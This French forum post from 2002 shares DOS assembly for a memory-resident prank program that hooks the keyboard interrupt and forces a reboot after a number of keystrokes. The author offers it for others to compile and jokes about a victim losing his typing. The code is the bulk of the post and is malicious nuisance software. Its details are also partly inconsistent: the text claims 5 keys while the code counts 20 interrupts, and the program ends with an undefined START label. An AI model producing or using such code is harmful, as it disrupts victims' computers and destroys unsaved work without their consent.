cs_bily
Messages postés40Date d'inscriptionmardi 9 avril 2002StatutMembreDernière intervention 8 novembre 2002 14 avril 2002 à 18:43
desole g pas lue que tu voulais cela en asm
voila un exemple essai de le dechiffrer moi ca fait trop longtemp
- L'ordinateur reboot dès que plus de 5 touches sont pressées:
(ex : Monsieur Pierre Pipol , specialiste des ovnis, veux ecrire "extraterrestre" ben juste apres le "a" de "extraterrestre" et sans prevenir son ordinateur reboot tout seul comme un grand !!!)
Je vous propose le programme suivant (que j'ai trouve sur Internet) ... mais il faut le compiler !!!
.model tiny
.code
org 100h
INSTALL:
MOV AX,3509h
INT 21h
MOV [BXREG],BX
MOV [ESREG],ES
MOV AH,25h
MOV DX,offset NEW_INT
INT 21h
MOV DX,offset EOP
INT 27h
NEW_INT: PUSHF
INC WORD PTR CS:[COUNTER]
CMP WORD PTR CS:[COUNTER],20
JB NOCOUNTER
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH DS
PUSH SS
PUSH SI
PUSH DI
JMP SKIP
NOCOUNTER: JMP ADIOS
SKIP:
CALL REBOOT
MOV WORD PTR CS:[COUNTER],0
POP DI
POP SI
POP SS
POP DS
POP ES
POP CX
POP BX
POP AX
ADIOS:
POPF
DB 0EAh
BXREG dw ?
ESREG dw ?
COUNTER dw 0
REBOOT: MOV AH,2
XOR BH,BH
XOR DX,DX
INT 10h
MOV AH,9
MOV CX,2000
MOV AL,' '
MOV BL,7
INT 10h
JMP FAR 0FFFFh:0
EOP:
END START